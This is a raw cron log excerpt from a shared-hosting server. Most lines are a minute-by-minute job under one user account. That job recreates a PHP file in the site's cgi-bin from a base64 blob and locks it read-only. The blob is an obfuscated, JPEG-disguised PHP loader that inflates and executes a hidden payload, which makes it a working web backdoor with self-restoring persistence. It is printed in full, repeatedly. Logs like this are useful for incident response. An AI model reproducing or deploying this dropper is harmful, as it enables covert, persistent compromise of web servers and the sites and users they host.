Nov  9 14:19:01 server CROND[5636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:20:01 server CROND[6468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 14:20:01 server CROND[6469]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 14:20:01 server CROND[6472]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:20:01 server CROND[6470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:20:01 server CROND[6471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:21:01 server CROND[7358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:22:01 server CROND[8287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:23:01 server CROND[9275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:24:01 server CROND[10106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:25:01 server CROND[10919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:25:01 server CROND[10921]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:25:01 server CROND[10922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:25:01 server CROND[10920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:26:01 server CROND[11842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:27:01 server CROND[12756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:27:01 server CROND[12757]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 14:28:01 server CROND[13300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:29:01 server CROND[14122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:30:01 server CROND[14955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:30:01 server CROND[14957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 14:30:01 server CROND[14954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:30:01 server CROND[14956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:31:01 server CROND[15774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
